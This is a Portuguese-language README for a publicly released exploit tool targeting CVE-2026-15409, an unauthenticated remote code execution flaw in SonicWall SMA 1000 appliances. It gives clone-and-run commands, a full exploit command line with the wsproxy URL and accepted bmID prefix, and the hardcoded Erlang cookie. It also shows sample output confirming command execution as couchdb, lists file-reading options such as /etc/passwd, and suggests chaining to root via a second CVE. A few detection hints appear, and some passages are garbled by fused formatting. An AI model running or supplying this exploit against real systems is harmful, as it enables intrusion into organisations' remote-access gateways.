
Prova de conceito de exploit para CVE-2026-15409 (SonicWall SMA 1000 RCE) via distribuição Erlang sobre WebSocket. Alcança execução remota de código não autenticada como usuário couchdb.
Exploit de Prova de Conceito para o CVE-2026-15409 – execução remota de código não autenticada em appliances da série SonicWall SMA 1000 por meio do protocolo de distribuição Erlang tunelado via WebSocket.
O CVE-2026-15409 é uma vulnerabilidade crítica que afeta os appliances SonicWall SMA 1000 (versões anteriores ao hotfix de junho de 2026). A falha reside no serviço (normalmente exposto na porta 443), que faz proxy de conexões WebSocket para nós Erlang internos. Ao forjar um parâmetro válido e usar um cookie Erlang fixo (hardcoded), um atacante pode estabelecer um canal de distribuição autenticado e executar comandos arbitrários do sistema como o usuário (ou outras contas de privilégios baixos) por meio de chamadas RPC a .
bmIDcouchdbos:cmd/1Este repositório fornece uma PoC totalmente funcional que automatiza toda a cadeia de exploração – do handshake WebSocket à execução de comandos arbitrários – com uma interface limpa, tratamento avançado de erros e logging bem formatado.
wss:// usando o endpoint wsproxy.os:cmd/1; pode ler arquivos via file:read_file/1 ou testar a conectividade com erlang:node/0.bmID (desde que comecem com -3389) e múltiplos valores de serviceType.[+], [*], [-], [!] para facilitar o monitoramento.A vulnerabilidade decorre das seguintes fraquezas de design no SMA 1000:
/wsproxy encaminha mensagens WebSocket binárias para uma porta local de distribuição Erlang (localhost:1050 por padrão) sem autenticação ou autorização adequadas.[email protected] escuta na porta 1050 e aceita conexões do proxy WebSocket, tornando-o alcançável a partir da rede.rex, que pode executar funções arbitrárias no nó, incluindo os:cmd/1.ex_sra_vm_12.5.0-02002.ova).couchdb (UID 1010, grupo daemon).file:read_file/1.websockets (instale via pip install websockets).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| Argumento | Descrição |
|---|---|
--host, --port | Fallback TCP (se não estiver usando WebSocket) |
--cookie | Substitui o cookie fixo padrão |
--name | Nome personalizado do nó Erlang local |
--ws-origin | Define o cabeçalho Origin para o WebSocket |
--ws-user-agent | String de User-Agent (padrão: SMA Connect Agent) |
--ws-insecure-tls | Desativa a verificação TLS (certificados autoassinados) |
--read-file | Lê um arquivo do alvo (ex.: /etc/passwd) |
--rpc | Apenas testa a conexão chamando erlang:node/0 |
O cookie Erlang usado no exploit é:
10ecad5b446e86864832904cd439b6b70262
Este valor é consistente em todos os appliances SMA testados e está fixo (hardcoded) no processo Erlang em localhost:1050. Ele não é o mesmo cookie configurado pelo usuário para clustering.
bmIDO bmID deve começar com -3389 (ex.: -3389c1b25ccd). Valores arbitrários após o prefixo são aceitos; portanto, a detecção baseada em assinatura não deve depender de um hash fixo.
Embora o exemplo use serviceType=SSH, outros valores como TELNET também funcionam. O exploit é agnóstico quanto ao tipo de serviço.
A porta 1050 é a porta interna padrão, mas ataques reais já foram observados visando também a porta 8188. O exploit pode ser adaptado para qualquer porta que exponha o protocolo de distribuição Erlang.
Após obter um shell como couchdb, um atacante pode explorar o CVE-2026-15410 – um path traversal em XML-RPC que permite a remoção do hotfix e a subsequente escalada de privilégios para root.
/wsproxy com bmID começando com -3389.couchdb (ex.: bash, python, nc)./var/tmp/ pelo usuário couchdb.Este projeto é licenciado sob a Licença MIT – consulte o arquivo LICENSE para obter detalhes.
Aviso legal: Esta ferramenta destina-se apenas a fins educacionais e de testes autorizados. O autor e os colaboradores não são responsáveis por qualquer uso indevido ou dano causado por este software.
Se você achar esta PoC útil, considere dar uma ⭐ no GitHub e compartilhá-la de forma responsável. Contribuições, issues e pull requests são bem-vindos!
Bons hacks! 🛡️